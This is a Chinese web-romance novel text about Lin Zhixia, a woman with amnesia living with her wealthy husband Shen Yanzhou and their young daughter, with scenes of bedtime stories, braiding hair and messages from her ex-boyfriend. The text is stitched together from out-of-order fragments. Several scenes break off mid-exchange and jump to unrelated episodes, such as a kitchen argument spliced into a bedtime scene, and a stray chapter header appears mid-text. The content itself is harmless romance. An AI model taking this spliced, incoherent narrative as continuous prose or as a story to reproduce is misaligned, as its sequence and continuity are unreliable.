他觉得林知夏肯定是脸皮薄,不好意思过来,那他偶尔可以拉下面子过去找她一次,其实也没多大关系。 沈砚舟说着就一脸微笑的走到门口,他敲了敲门,清清嗓子说,“林知夏,你好了吗?” 没有听见任何回答,沈砚舟耳朵贴着门板,还是没听见任何声音。 他又喊了两声,还是没有回应。 到后面,他破罐子破摔,“林知夏,你欺骗我感情。” 他刚说完,门就被从里面打开。 林知夏穿着一件深色的长宽睡衣,头发松散的披在肩头,她的眼里多了两分严肃。 沈砚舟心虚的想,该不会是自己刚刚洗碗的时候哪里没洗干净吧? 糟了,油烟机好像忘了擦。回到别墅时,阿姨已经准备好了丰盛的晚餐。 第一次和沈妙盈共度周末,林知夏总算体会到了一个精力旺盛的小孩子是多么可怕。 林知夏临近中午才起床,陪沈妙盈在外面待了一个下午,回来时都觉得有些疲惫了。 而沈妙盈呢,吃完晚饭又立刻精神百倍地跑去坐在她的专属位置上,看她最爱的动画片了。 林知夏没有这么旺盛的精力,吃过晚饭后,她先回了房间洗澡。 从浴室出来,换好柔软的睡衣,林知夏往床上一靠,拿起手机。 她不清楚其他有钱人的生活是怎样的,但至少对现在的林知夏来说,最惬意的时刻还是和当年一样—— 舒舒服服泡个澡后,美美在床上玩手机。 微信弹出了新消息提示。 性格原因,林知夏的人际关系一直很简单,朋友不多。 而出于某些她不清楚的缘由,沈砚舟似乎也并不急于将她失踪归来的消息公之于众。 于是这几天里,林知夏每天手机里收到的消息屈指可数。 除了姜雨晴,就是沈妙盈在幼儿园放学后,会用平板给她发一些语音。 点开微信,是一个新的好友请求。 验证消息只有简单的四个字:夏夏,是我。 林知夏心头一突,猛地在床上坐直身子。 这些天里,她不是没有想象过,假如哪天她和赵延舟再次产生交集,到时应该怎样应对。 毕竟赵延舟和沈砚舟是发小,两人又都是北城豪门圈子的。 她如今顶着沈砚舟妻子的身份,有些事情总是难以避免。 可真正看到这几个字的一瞬间,林知夏的心脏还是不受控制地狂跳起来。 无数个念头争先恐后地从脑海里冒了出来。 她想知道的很多东西,这几天里其实并没有在沈砚舟这里得到答案。 如果换成是赵延舟呢?假如他知道自己失忆,会不会毫无保留地告诉自己当年到底发生了什么? 林知夏死死盯着屏幕上同意好友请求的按钮,只觉得胸口憋闷得厉害。 半晌,她扯了扯嘴角,露出一抹自嘲的笑。 想什么呢? 沈砚舟对她有所保留,难道赵延舟就全然可信吗? 只凭着“这个男人曾经对我很好”,就相信他会永远站在自己这边,愿意对她坦白一切—— 这都不能叫作天真,已经是不折不扣的愚蠢了。 林知夏没再理会这个好友请求,划掉微信。 无论是平常还是周末,沈妙盈的作息都是晚上九点以前睡觉。 昨天没能和沈妙盈说晚安,今天林知夏决定早点去,在张姨来叫她之前就去了儿童房。 没想到这栋别墅里,还有另一个人和她的想法一样。 林知夏刚推开儿童房的门,就撞见一道修长挺拔的身影背对着她站在床边。 听到她进来,沈砚舟转过身。 两人对上视线,林知夏讪笑了声:“真巧。” “那个水晶球,”她看了一圈,没话找话地指了指柜子里的某个摆件,“还挺漂亮的。” 沈砚舟:“是一年前我去欧洲出差时带回来的。” 林知夏“哦”了声。 原来他出差时,会给女儿带礼物。 几天过去,她依旧保留着自己对这个男人最初的评价:阴晴不定,喜怒无常。 但即便如此,无论如何她都无法否认的一点是:他在沈妙盈面前绝对是个细心且情绪稳定的好爸爸。 沈砚舟:“想看看吗?” 林知夏:“好。” 沈砚舟将水晶球取下,递到她掌心。 手中水晶球的做工明显比她从前见过的都更加精致,底座是精心雕刻的金属材质,球内伫立着一座迷你的欧式城堡。 林知夏轻轻晃了下,雪花簌簌飘落。 儿童房柜子底层放的都是沈妙盈最喜欢的玩具和玩偶,中层是绘本和积木盒,摆件和装饰品放在顶层。 林知夏摆弄了一会儿,想把水晶球放回原位。 余光瞥了眼沈砚舟,又评估了下高度,她还是决定自己动手。 踮起脚尖小心地把水晶球放好,大功告成之际,林知夏乐极生悲,一个没站稳差点滑倒。 腰间一热,她被身后的一只手稳稳托住。 掌心的温度隔着轻薄的睡衣布料透进来,熨得肌肤发烫。 一瞬间,林知夏只觉得整个后背都泛起一层热意,这种感觉似曾相识—— 就和那天沈妙盈非要让沈砚舟闻她身上的柚子味时,她靠近他的感受一模一样。 她的身体像是对沈砚舟有着某种特殊的渴望,无论是靠得太近还是不经意间触碰,都会让她变得过分敏感。 此刻林知夏很想在心里大声喊救命:这到底是什么鬼啊! 难道在她失去记忆的那段时间里,她已经渴求到这种程度了吗? 心中虽然已经在尖叫,表面上林知夏还是努力维持着镇定,默默退开了几步。 “谢谢。”她轻声说,没敢细看男人眼底的那一抹暗色。 相顾无言之时,浴室的门打开了。 林知夏连忙收敛心神,专心迎接小公主出浴。 沈妙盈从她的专属浴室里出来,穿着天蓝色的连体睡衣,领口和袖口是白色蕾丝组成的皇冠图案,口袋绣着雪花,看样子又是艾莎公主主题的。 陪沈妙盈一起出来的张姨看到先生和太太都在,识趣地退出了房间,将门带上。 沈妙盈则一脸惊喜地朝自己爸爸妈妈奔来,跑到跟前,小脑袋左右转了转,明显纠结了一秒钟。 随即她张开胳膊,先一头扎进林知夏怀里:“妈妈!” 在妈妈怀里腻歪了一会儿,沈妙盈才松开手,接着朝着爸爸跑过去,被沈砚舟一把抱起来举在空中。 等从爸爸怀里出来,沈妙盈突然又板起了脸,煞有介事地学着大人的样子咳嗽了两声:“爸爸妈妈,你们昨天都没有和我说晚安,把我一个人丢在房间里睡觉!” 林知夏的眉心动了动:昨天张姨好像的确说过,沈妙盈因为一个人入睡闹了脾气。 但沈妙盈今天一整天都没提这事,林知夏以为她已经忘记了,没想到是还没到时候。 林知夏尝试着安抚沈妙盈:“妈妈不是和你说了吗,妈妈昨天晚上去见一个好朋友了,所以不能和你说晚安。” 沈妙盈可不是这么容易被说服的小姑娘,脆生生地反驳:“可是妈妈答应了我,要让爸爸来帮妈妈说晚安的,结果昨天爸爸也说他有事情不能来!” 林知夏一时词穷。 她那时没想这么多,只是想到反正沈砚舟平常也都会和女儿说晚安,于是就随口一说。 她忘了,大人随便的一句话,对于小孩子来说也是承诺。 林知夏:“对不起,是妈妈不好。” 沈妙盈是个很有原则的小朋友,闻言摇了摇头:“也不能全都怪妈妈,爸爸没有和我说晚安,爸爸也有错,所以爸爸妈妈要一起补偿我。” 林知夏问:“那宝贝想要爸爸妈妈怎么补偿?” 沈妙盈显然已经提前思考过这个问题了,很快回答:“我想要去妈妈的房间,然后爸爸来给我和妈妈讲故事,哄我和妈妈一起睡觉!” 林知夏一怔。 她下意识想问:为什么是和妈妈一起睡,不是和爸爸妈妈三个人一起睡? 她忍住了。 两相比较,林知夏当然更能接受和沈妙盈两个人睡一张床。 如果和沈砚舟同床,她很怀疑自己会不会整夜失眠。 林知夏抬头与沈砚舟对视,想看看他对沈妙盈提出的这个“补偿措施”有没有什么意见。 沈砚舟无声地回望她,林知夏从男人的眼神里读出了两个字:看你。 林知夏:“……” “好。”她答应下来,“那就按宝贝说的。” 沈妙盈:“好耶!妈妈你已经洗过澡了对不对,刚刚和妈妈抱抱的时候,我又闻到了柚子的味道!” 这个形容勾起了林知夏的某些回忆。 林知夏清清嗓子:“嗯,妈妈洗过了。” 沈妙盈拉住林知夏的手:“那妈妈现在就带我去妈妈的房间睡觉好不好,我已经有点困啦!” 说着又冲沈砚舟招手:“爸爸你准备好也快来呦,不要让我和妈妈等太久啦!” 他刚准备解释,林知夏轻柔的声音响起,“你这么迫不及待吗?” 这语调完全不像是在指责,更像是去医院关心病人。 沈砚舟有点懵了,“不是我” “我怎么了?” 林知夏没理他,直接推开他往主卧里走。 沈砚舟跟在她身后,林知夏坐在床边,对着刚进来的沈砚舟说,“能关灯吗?” 沈砚舟:“我也没有那么迫不及待,你是在生气吗?” 林知夏:“没有。”意识到这声笑来自谁,林知夏难以置信地再次看过去。 要知道从她认识沈砚舟起,似乎就没见这个男人对除了沈妙盈之外的人笑过——冷笑除外。 如今第一次破例,居然是在嘲笑自己。 很好笑吗?他就从来没有不小心弄掉过东西吗? 像是被林知夏不可思议的神色取悦,沈砚舟的眉峰舒展,唇角轻轻扬起,整个人看起来难得的放松又愉悦。 看得林知夏更加气闷。 他最好祈祷他以后永远不会有失误的时候,不然她一定想办法嘲笑回去。 沈妙盈不知道大人之间在进行什么眉眼官司,只知道妈妈一直没有动作。 等了又等,她终于忍不住了:“妈妈,你怎么还没好呀?” 林知夏轻咳了一声:“对不起啊,妈妈走了一下神,现在就开始。” 沈妙盈“哦”了一声,一本正经道:“没关系的妈妈,我原谅你了。” 林知夏忍俊不禁:“谢谢宝贝。” 没记错的话,这两天沈妙盈从幼儿园回来时,头上的辫子都是复杂又精致。 但自己是第一次给女儿梳头,林知夏觉得还是别想着一口吃成个胖子,能顺利完成就不错了。 林知夏决定就给沈妙盈梳一个简单的双马尾,希望不会被嫌弃。 嫌弃也没办法——她这个临时上岗的妈妈没经过岗前培训,水平实在有限。 小心翼翼地把小姑娘的头发梳顺,分成两等份。 林知夏自己是又粗又硬的发质,颜色也不是纯黑,在阳光下能明显看出来偏棕。 而沈妙盈的头发却恰好相反,又黑又柔顺,发丝也细。 林知夏依稀记得自己妈妈似乎也是这样的发质,小时候她很喜欢玩妈妈的头发,虽然记忆有些模糊了,但印象里摸起来也是滑滑软软的。 难道是隔代遗传? 又或者,其实是来自沈砚舟的基因? 林知夏莫名想起那天沈砚舟刚洗完澡的模样,头发看起来似乎也很顺,与他本人冷硬的气场不太相符。 思及此处,她抬眸看了一眼,眼神再一次和沈砚舟撞上。 男人闲适地端着咖啡,在对上她的目光后,眉梢微微抬起。 林知夏:“……” 他不是应该很忙吗,这一杯咖啡喝了多久了? 桌子上管家刚送来的文件他似乎也一直没看,她有充分的理由怀疑他正在摸鱼。 林知夏默默地收回视线,努力屏蔽身上那份不自在的感觉,尽量当对面那个监工的男人不存在。 第一次给小孩子梳头,顾此失彼是难免的。 加上时刻担心弄痛沈妙盈的头皮,更是处处掣肘,进度缓慢。 幸好沈妙盈嘴下留情,没催她,一番手忙脚乱过后,林知夏总算是堪堪扎好两个马尾辫—— 造型简单,毫无特色可言,唯一的优点是在她缓慢而小心的操作之下,还算整齐和对称。 林知夏又从小推车的筐筐里拿出两个蓝色蝴蝶结发卡,一边一个别在小姑娘的脑袋上。 别好之后她欣赏了一下:不知道是不是她自我感觉良好,原本平平无奇的双马尾搭配上蝴蝶结配饰,看起来似乎也挺可爱的。 不过想到前两天小姑娘脑袋上精致的发型,林知夏心中的自信瞬间又消失了一大半。 她颇为心虚地清了清嗓子:“妈妈弄好了。” 一边说一边在心中祈祷:希望小姑娘别太挑剔,放她这个新手妈妈一马。 闻言,沈妙盈的第一反应是和爸爸炫耀:“爸爸,你看妈妈给我梳的辫子!” 沈砚舟的嗓音温和低沉:“爸爸看到了。” 沈妙盈:“好看不好看呀爸爸?” 沈砚舟:“很好看。” 沈妙盈顿时满足地笑起来,两个小梨涡若隐若现。 林知夏也忍不住弯起嘴角。 明知道沈砚舟的这句夸奖是为了让女儿开心,但不得不说,她本人听了也很受用。 林知夏想,为了这句“很好看”,她可以暂且原谅之前此人对自己的嘲笑。 她可真是个宽宏大量的女人! 梳完头发,沈妙盈也该出门了。 林知夏本来有些担心,如果沈妙盈邀请自己一起送她去幼儿园,自己是答应还是不答应。 她当然想多和女儿相处一会儿,可是如果去送,不可避免地就要和沈砚舟坐一辆车。 去的路上还好,有沈妙盈这个小喇叭在,她和沈砚舟之间也不会太尴尬。 可回来呢,到时候车上只有她和沈砚舟两个人。 没承想沈妙盈压根没给林知夏纠结的机会。 沈妙盈看了一眼挂钟的时间后,就火急火燎地跑去鞋柜旁换鞋了。 “爸爸爸爸!”沈妙盈一边坐在换鞋凳上自己穿鞋子,一边催促,“你快来呀,去晚了我的小红花就没有了!” 沈砚舟配合地走向玄关。 林知夏低头看了眼自己身上的睡衣:看来就算她想送,小姑娘也不会同意让她拖后腿的。 就算天塌下来,小红花也不能丢。 换好鞋子背好书包,沈妙盈用力冲林知夏挥手:“妈妈,我和爸爸走了哦,晚上见!” 林知夏笑着和沈妙盈挥手道别。 目送沈妙盈和沈砚舟出门,林知夏叫来张姨。 “太太,有什么事吗?”张姨问。 林知夏开门见山道:“张姨,等你有时间的时候,可不可以请你教教我怎么给小朋友梳头发?” 过去她错过了太多沈妙盈的成长,今后也不敢保证就能做一个十全十美的妈妈。 但最起码,可以做些力所能及的事情。 林知夏决定,就从梳头发开始。 张姨:“太太客气了,当然可以。太太你想什么时候学?我现在就有时间的。” 平常和司机一起送小姐上学是她的工作之一,所以先生亲自送的时候,这段时间就空了出来。 林知夏:“那就现在吧。” 张姨:“太太你想学什么样的发型?如果是新手的话,先把一个发型从头到尾练熟会比较好。” 林知夏想了想:“沈妙盈她最喜欢哪个发型?” 张姨笑笑:“太太这你就不知道了,小姐最喜欢的那个发型只有先生才会,连我都不会呢。” 林知夏诧异。 她根本没想到,沈砚舟居然还会梳辫子。 张姨对林知夏的反应毫不意外,反倒理解地笑了:“是吧,几年前我刚来这里工作的时候,听说先生要给小姐扎头发也不敢相信呢。” “不过没想到先生的手特别巧,小姐也特别喜欢先生给梳的辫子。早上只要是先生有空的时候,我想给小姐梳头小姐都不愿意呢,一定要先生来。” 林知夏:“……” 她是真没想到,沈砚舟居然这么…… 她都不知道该用什么词来形容了。 不知道是不是她脸上的表情太复杂,张姨竟然安慰起她来:“太太你一看也是心灵手巧的人,只要稍微学一学,以后小姐肯定就最喜欢太太你给她梳辫子了。” 林知夏讪讪笑了下。 她能说,从小到大她就和“心灵手巧”四个字没什么关系吗? 论做家务她倒还算拿手,可更精细一点的手艺活她就不行了。 上午和张姨学了半个小时怎么梳头发,林知夏总算是稍微有了一点心得。 至少下次再有机会给沈妙盈扎辫子,不会再像今天这样手忙脚乱。 下午林知夏让司机送自己去派出所,重新办了身份证。 夸张点来形容,这是在医院醒来之后她第一次重见天日,连户外的空气都觉得是香甜的。 想到自己的手续都已经办得差不多了,从今以后就可以自由自在地出门,她整个人的心情都变好了。 林知夏兴致勃勃地给姜雨晴发信息:【明天咱们约饭,你想好去哪个商场了没?】 之前她们只约了时间,还没定好具体地点。 很快姜雨晴发来了一个定位:【这家怎么样?年初新开的商场,据说很好逛,吃的也不错,我还一直没去过呢。】 林知夏:【行啊。】 约饭的时间地点都定好了,接下来的半天林知夏都在期待中度过。 当年和她最亲近的两个人,其中一个已经彻底被她从生活中剔除,如今只剩下姜雨晴。 林知夏已经迫不及待地想和姜雨晴见面了。 傍晚沈妙盈被司机和阿姨接回家,今天沈砚舟加班,没一起回来。 对此林知夏一点都不意外,她觉得前两天沈砚舟每天都能接沈妙盈从幼儿园一起回来,那才叫作奇怪。 像他这样级别的集团掌权人,不应该日理万机,忙着延伸商业版图,恨不得一天掰成四十八小时用吗? 林知夏和沈妙盈两个人一起享用了晚餐。 “妈妈明天要出门。”吃饭时她对沈妙盈说,“去见一个朋友。” 沈妙盈眨着黑葡萄似的大眼睛:“妈妈要和好朋友一起出去玩吗?” 林知夏莞尔:“是呀。妈妈和这个朋友很久没见面了,所以可能会晚一点回家。明天让爸爸帮妈妈和你说晚安,好不好?” 沈妙盈歪了歪脑袋:“那妈妈今天要给我双倍的晚安吻才可以。” 林知夏失笑:“好。” 沈砚舟今天大约是真的很忙,又或是有急事需要处理,林知夏只在儿童房和沈妙盈说晚安时匆匆见到男人一面。 次日,林知夏起来得有些晚,上班和上学的那两个人都已经不在别墅里。 简单吃了早餐,林知夏去宠物房逗了逗猫咪。 临近中午,林知夏回房间换了身衣服,准备出门。 走到客厅时被管家叫住:“太太,您这是要去出去?” 林知夏:“嗯,我约了朋友,去商场吃饭。” 杨管家:“哪一家?我让董叔送您过去吧。” 这几天林知夏大致搞清楚了家里工作人员的配置:董叔是生活司机,平常接送沈妙盈上下学就是董叔负责。 另外沈砚舟还配有一位专属商务司机,专门对接他的工作出行需求。 林知夏:“不用麻烦董叔了,我打车去就行。” 管家上前一步,语气恭敬却带着几分坚持:“太太,还是让董叔送您吧,家里的车坐着也更舒服些。” 林知夏沉默了几秒,觉得管家的态度有些少见。 之前她不管要做什么,管家向来只负责安排妥当,从来不会像这样主动干涉。 不过对于她来说,坐司机的车和打车确实也区别不大。 “那好吧。”林知夏说。 杨管家像是松了口气:“太太您稍等五分钟,我去联系董叔。对了,您和朋友约的是在哪家商场见面?” 林知夏:“梦昭天地。” 沈砚舟:“可是你现在跟个火药桶一样,我怕我再说两句话,就能给你点着了。” 林知夏听到他还是一副玩笑的散漫语气,更气了,“你知道还说?” 沈砚舟叹了口气,走到她跟前,一脸看透一切,“你刚刚该不会是去厨房检查了吧?” 林知夏:“” 沈砚舟从她脸上看到了惊讶,他说,“我是忘了擦油烟机,我承认,我下次肯定记得。” 林知夏:“” 这都什么跟什么。 沈砚舟见她不说话,又说:“你这可没意思了啊,我以前可没怎么干过这些,不能因为一次小错误就给我判死刑吧?” 林知夏:“” 林知夏一时间不知道该说什么。 “跟这个没关系。” 沈砚舟:“那还有什么?” 林知夏抬头看他,又见他神色复杂,恐怕他又想到什么不正经的东西,就说,“没什么,我来大姨妈了。” 沈砚舟恍然大悟,“我就说吧。” 他又说,“那你有需要我帮忙的地方吗?” 林知夏没懂他说的什么,只是摇头,“不用,我很好。” 林知夏回了房间,她也不知道自己为什么最近因为这些一点点的事情有这么大的波动。 毕竟投资一部电影这样的事,也不是沈砚舟一个人能决定了的。 即使可能会有些人情在,但也不能代表什么。 林知夏又拿起手机打算搜索新闻,没想到沈砚舟给她发了消息:【明天别早起做早饭了,想吃什么我去买。】 林知夏看到这句话,觉得肯定是自己想多了。 林知夏:【明天不去公司?】 沈砚舟:【明天没什么事。】《 》 60-65 第 61 章 第六十一章 林知夏用手机给这几盆多肉拍了好几张照片。 找到微信里沈砚舟的头像点进去,打了又删,还是没把感谢他的话发出去。 她和他实在太陌生,以至于给他发信息都要思考再三到底合不合适。 迟疑许久,林知夏决定还是等晚上再当面和他提这件事。 转而发了另一条信息:【我找到我之前用的微信号了,以后我直接用这个微信联系你?】 沈砚舟没立刻回,林知夏想他或许是在开会之类的。 倒是姜雨晴先发来消息,说是今天晚上坐飞机回北城,问她这几天什么时间方便见面。 两人约了后天一起吃饭。 等到林知夏吃午饭的时候,沈砚舟那边才回她:【可以。】 林知夏庆幸自己没直接问他多肉的事,否则沈砚舟忙了一上午工作,看到她用这种琐事烦他,肯定会觉得她不识趣。 午饭过后,下午林知夏继续在别墅里逛。 谁能想到呢,曾经蜗居在几平方米空间里的她,现在在家里都能用上“逛”这个动词。 昨天沈妙盈已经带她参观过一遍,林知夏心里大概有数,这次去她最感兴趣的几个房间看了看。 下楼梯时差点踩到一团毛球,林知夏低头,发现是之前沈妙盈特意给她介绍的“妹妹”。 别墅太大,猫这种生物又神出鬼没,林知夏差点忘了家里还有这么一只小猫咪。 一人一猫撞上之后,双方都很惊讶。 猫咪飞速转身,一溜烟跑回了宠物房。 林知夏犹豫片刻,跟了过去。 小时候她很想养一只猫,去求妈妈,妈妈说等她长大,可以自己照顾猫咪的时候,就允许她养一只。 “你可以先给它取一个名字。”妈妈对她说。 小孩的想法一天一变,林知夏给自己未来的小猫咪起了十几个不同的名字。 可惜那些名字都没能用上,因为还没等她真正长大,约好和她一起养猫的妈妈就不在了。 宠物房的面积不小,林知夏找了一圈,才在窗帘后的角落里找到了小猫。 她蹲下来,隔着一米和猫咪对视:“我记得你的名字叫安娜?” 安娜看着她,“喵”了一声。 林知夏:“我是你的妈妈。” 没有反应。 林知夏:“你很怕我吗?可是你的爸爸是沈砚舟哎,他应该比我可怕多了吧?” 说完自己先忍不住笑了。 她也真是够幼稚的,竟然跑到这里来和一只猫说沈砚舟的坏话。 在宠物房里待了一会儿,口袋里手机振动了一下。 沈砚舟发来了一条语音。 林知夏有些惊讶,说不清为什么,她总觉得像沈砚舟这样的人应该会更喜欢使用文字。 点开语音,扬声器里传来的是一个清脆的童声:“妈妈,是我哦,盈盈小公主。” 林知夏牵起嘴角。 不可否认沈砚舟的嗓音很好听,但相比之下,她绝对更喜欢听到小姑娘中气十足的声音。 沈妙盈:“爸爸已经接到我了,很快我们就回家吃饭啦!妈妈,我们都有好多好多个小时没有见面了,你有没有想我呀?” 林知夏忍俊不禁,按住屏幕下方回:“当然啦,妈妈非常非常想你呀。” 和小孩子说话,她下意识就切换成了嗲嗲的嗓音,发完才想起这个微信号是沈砚舟的。 想到自己这句甜得发齁的语音会一直保留在男人的聊天记录里,她不禁有些脸热。 沈妙盈:“我也非常非常非常地想妈妈!” 连续说了三个非常,比林知夏的还多一个。 “对了妈妈。”沈妙盈又说,“我也有自己的微信账号,妈妈你加我的好友好不好呀?” 林知夏答应:“好呀。” 沈妙盈雀跃道:“那我让爸爸把我的账号发给妈妈!” 几秒钟后,聊天框里弹出一个微信名片。 林知夏点进去发送好友申请,很快申请就通过了。 接着沈妙盈用这个新账号发来了语音:“妈妈是你吗?” 林知夏:“是呀。” 沈妙盈:“那我以后就可以给妈妈发微信啦!爸爸说我要保护眼睛,妈妈等我回家了我们再聊天哦!” 林知夏笑着说:“好哦,一会儿见宝贝。” 好奇点进这个账号的主页,林知夏惊讶地发现竟然真的有朋友圈。 最近一条是一张儿童画的照片,配文:【这是我画的画。】 往下是一块迷你小蛋糕:【这是爸爸给我买的。】 再往下是一张穿着公主裙的照片:【这是我的新裙子。】 林知夏一直翻到了底,发现这个账号是从一年以前,也就是沈妙盈四岁左右开始发朋友圈的。 这么小的孩子还认不全字,也不会拼音,应该是大人帮她打的字。 林知夏一口气刷完了沈妙盈的所有朋友圈,觉得既温暖又有些遗憾。 女儿五岁之前的生活她都错过了 六点钟不到,沈妙盈和沈砚舟一起到家。 沈砚舟还在松领带的时候,沈妙盈就已经像个小炮弹似的冲进了林知夏的怀里。 林知夏被撞得差点一个趔趄,勉强稳住身形。沈妙盈冲爸爸妈妈挥了挥手,被张姨带去了儿童房里的专属浴室洗澡。 林知夏也趁机表示,自己先回卧室待一会儿,等沈妙盈洗完澡再让张姨来叫自己。 离开时她尽力维持着平静的样子,连脚步都刻意放慢,生怕在沈砚舟面前露出落荒而逃的狼狈。 可心脏的剧烈跳动,和耳鼓血液冲刷的声音终究瞒不了自己。 刚才靠近沈砚舟与他四目相对的瞬间,她无比真切地感受到了男人眼中的侵略性。 回到卧室的第一时间,林知夏对着落地镜打量自己。 睡裙是宽松的款式,但由于真丝的面料太过轻薄贴身,依旧将她胸前的起伏勾勒得分明。 细细的两根吊带完全起不到遮挡的作用,脖颈、肩头与清晰的锁骨,尽数暴露在空气中,原本白皙的皮肤泛着淡淡的粉晕。 即便把长发拢在身前,也只能堪堪挡住小半肌肤,反倒成了欲盖弥彰的遮掩。 林知夏绝望地闭上双眼,恨时间不能倒退到十分钟以前。 她是脑子坏掉了吗,竟然就以这身打扮站在沈砚舟面前那么久,还不知死活地凑到他身前。 她都想替沈砚舟说出那句恋爱游戏的经典台词:毕竟我也是个男人啊。 林知夏强迫自己别再继续回想刚才那个场景,放空大脑打开衣柜。 本来想找件外衣披在裙子外面,犹豫了几秒,干脆直接放弃了睡裙,重新找出一套长袖长裤的家居服换上。 吃一堑长一智,林知夏发誓以后绝对不穿着吊带出现在自己卧室以外的任何地方。 时间还不到九点,放在平常正是林知夏脑子最活跃的时候。 但一想到一会儿要去和沈妙盈说晚安,到时候还要和沈砚舟同处一室,她就完全没心思专注下来做点什么。 在卧室里漫无目的晃了一圈,视线停留在床头柜。 上面摆着一枚素圈戒指,是她白天和姜雨晴打电话时摘下来顺手放在这的。 林知夏想起来,方才在走廊,她似乎看到沈砚舟的左手无名指也戴着相似的男款戒指。 之前她都没留意过,这次是因为刚才有那么几秒钟实在不知道把目光落哪里,才误打误撞注意到男人的手。 林知夏想,以她和沈砚舟之间不对等的地位差和信息差,他实在没必要特意在自己面前作秀。 所以她失踪的这些年……他一直都戴着婚戒吗? 林知夏有些恍神地抬起自己的手,在看到无名指上一圈浅浅的痕迹后怔住。 失踪之前的那段时间,她应该也是常戴这枚戒指的。 林知夏再次看向床头的婚戒:很漂亮,造型素雅的同时,又能一眼看出来价值不菲。 鬼使神差地,她拿起这枚戒指,缓慢套入指尖。 直到戒圈被推至无名指指根,金属的冰凉触感令她猛然惊醒。 林知夏自嘲地扯了扯嘴角:她这是在做什么呢? 婚戒而已,代表不了任何事情,普通人尚且如此,何况是沈砚舟这样婚姻状况和利益直接挂钩的集团掌权人。 她何至于因此乱了心神。 晃了晃脑袋让自己清醒,林知夏迟疑了一秒,还是将戒指再次取下。 这次没有直接放在床头柜,太容易弄丢,她不放心。 大约是以前穷怕了,即便她对戒指背后代表的这桩婚姻颇有微词,也不妨碍骨子里“贵重物品不能乱放”的思想。 林知夏想起之前在房间衣柜里似乎看到了类似首饰盒的东西,打开柜门看了一圈,果然找到一个丝绒材质的盒子。 打开时林知夏没多想,但翻开盖子后,她猝不及防地眯了眯眼睛—— 她被盒子里的钻石闪到了。 印象里她唯一一次近距离接触这么大颗的钻石,是和赵延舟恋爱一百天时,他带她去某家珠宝店挑选礼物。 林知夏记得当时店长看到她身边的赵延舟就像是看到了财神爷,恨不得把店里所有最贵的首饰都拿出来让她试戴。 而她也的确是个俗人,在某条闪耀无比的钻石项链出现时没控制住表情,多看了几眼。 可喜欢归喜欢,那时他们才在一起不久,几十上百万的东西哪敢说收就收。 最后,她还是在店长怨念的目光中选了另一条价格便宜很多的珍珠项链。 赵延舟劝不动她,只好妥协,又说等以后结婚了再给她买更贵的。 要不然人们都说世事无常:现在她婚是结了,钻石项链也有了,丈夫却是另一个人。 仔细看看,如今盒子里的这条项链除了钻石更大了一圈,款式和当初她看中的那条有七八分相似,应该是出自同一个品牌的设计师。 如果这项链是沈砚舟给她买的,那只能说这两人不愧是发小,连珠宝店都去同一家。 从回忆中抽回思绪,林知夏把婚戒放在了这条钻石项链的旁边,合上首饰盒。 她漫无边际地想着:如果以后和沈砚舟离婚,这条项链她能不能拿走卖了换钱? 还记得中学时老师在学校里放《泰坦尼克号》,林知夏除了为Rose和Jack的爱情感动,还对其中一个情节印象深刻: Rose在下船后最艰难的日子里,也始终没有把海洋之心拿出来卖掉。 那时林知夏想,如果换作是自己,一定会第一时间想办法把宝石换成现金。 这就是她和女主角的区别:她没有那样高尚的品格,青春期里捉襟见肘的困窘让她满心只希望尽快拥有一大笔钱,不用再为了每个月的生活费看人脸色。 放好首饰盒,张姨恰好过来敲门,说沈妙盈已经洗完澡上了床。 林知夏应了声“好”,对着镜子仔细检查了几秒才出门。 儿童房里,沈妙盈已经钻进了被窝。回到卧室,林知夏回忆着刚才男人的神色,撇了撇嘴角。 没想过就没想过呗,有必要用那种语气吗? 那语调和表情,好像她问了一个多么不识抬举的问题。 果然她对这个男人的评价没错:喜怒无常,阴晴不定。 上一秒还像个好丈夫似的对她表示关心,下一秒就立刻翻脸,不去学变脸真是屈才了。 假如有机会重新选择,就算他再有钱,她也不愿当这个“沈太太”。 在心里吐槽了好几句,总算勉强消气。 看了眼手机,姜雨晴那边还没有联系她。 姜雨晴办事一向靠谱,既然答应了肯定不会忘,林知夏猜她大约是还没忙完。 之前在电话里没问太多,只知道这些年姜雨晴工作一直很拼,下班晚,三天两头出差,假期也少得可怜。 想了想,林知夏关上了和姜雨晴的聊天界面,打开浏览器,在搜索框输入“沈砚舟”三个字。 搜索结果第一条就是他的百科,词条显示沈砚舟的出生年份比她早一年,和赵延舟同年同月。 林知夏想起来,赵延舟好像是和自己说过:他们几个发小的年龄都差不多,沈砚舟更是只比他早出生三天。 沈家和赵家本就交好,两家长辈都觉得这是难得的缘分,也就是两个男孩,要是一男一女,恐怕连娃娃亲都给定上了。 不过在林知夏的印象里,在她和赵延舟恋爱的时候,这两人联系不多。 每次赵延舟和她报备行程,说自己和哪几个兄弟出去玩时,沈砚舟很少出现在名单里。 对于沈砚舟这位发小,赵延舟的态度似乎有些复杂:尊重,敬佩,却又不理解。 记得有一次赵延舟过生日,和他关系好的几个兄弟都来捧场,唯独沈砚舟,据说是有公事没能到场。 聚会散场后,赵延舟带着几分酒气跟林知夏抱怨:“我是真搞不懂他,把自个儿折腾得那么累,图啥?要我说他压根犯不着这么跟自个儿较劲,反正他家就他一个,不如趁现在年轻多玩玩,等二十年后再稳稳当当接伯父的班。” 说完,赵延舟又笑眯眯捧起林知夏的脸揉捏:“还是像我这样的男人好,管他什么工作事业,天大地大,老婆最大,你说是不是夏夏?” 林知夏忘记当时自己回了什么,大约是顺着他说了几句。 赵延舟的优点很多,帅气,大方,幽默,嘴甜。 至于缺乏上进心,在林知夏看来甚至也是优点。 以赵延舟的家境,随便拿拿家族企业的分红就足够挥霍了。 他要是真那么“上进”,林知夏反而不敢和他谈恋爱了:一个野心勃勃的豪门继承人,怎么想都不会是她能搞定的。 林知夏从回忆中抽离,发现自己正无意识用手摸着脸颊—— 谈恋爱时,赵延舟经常揉她的脸来表示亲昵。 林知夏默然收回手,有片刻的失神。 在她的记忆里,几个小时前,赵延舟还在以男朋友的身份为她庆祝生日。 除了姜雨晴,他是和二十三岁的她最亲近的人。 所以在医院醒来时,她的第一反应是问赵延舟在哪。 得知自己失忆后,她本能的想法也是立刻打电话给赵延舟,问他这些年到底发生了什么。 可理智终究压过了冲动。 七年过去,物是人非。 算起来,赵延舟也已经年过三十,就算还没成家,在她之后肯定也又有了新恋情。 她一个身份尴尬的已婚前女友贸然打电话过去,算什么? 林知夏压下心中的波动,注意力重新落回手机屏幕的百科词条上,往下读沈砚舟的个人经历。 她对商业领域一知半解,但也能看出来,这七年里沈砚舟已经彻底执掌了家族集团,有绝对的话语权。 那原来的老董事长,沈砚舟的父亲呢? 难道已经去世了? 